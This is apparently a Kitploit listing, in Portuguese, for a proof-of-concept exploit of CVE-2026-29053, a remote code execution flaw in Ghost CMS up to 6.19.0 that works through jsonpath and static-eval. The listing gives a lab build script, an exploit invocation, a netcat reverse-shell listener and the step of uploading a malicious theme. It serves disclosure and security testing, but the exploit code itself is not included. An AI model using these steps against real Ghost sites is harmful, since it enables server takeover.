CVE-2026-29053 — Prova de conceito de exploit para execução remota de código no Ghost CMS via poluição de protótipo em jsonpath e static-eval, com configuração de ambiente vulnerável e instruções de uso. | Kitploit

CVE-2026-29053

RCE no Ghost CMS via cadeia de protótipos jsonpath/static-eval.

Informações

CVE: CVE-2026-29053
Afetado: Ghost <= 6.19.0 com jsonpath 1.1.1 + static-eval 2.0.2
Corrigido: 6.19.1

Demonstração

CVE-2026-29053.webm

Configurar Ambiente Vulnerável

cd build
./build.sh

Uso

python3 exploit.py -i <YOUR_IP> -p <PORT>

Inicie o listener: nc -lvnp <PORT>
Envie malicious-theme.zip para Ghost Admin → Settings → Design

CVE-2026-29053

Mais Populares

Referências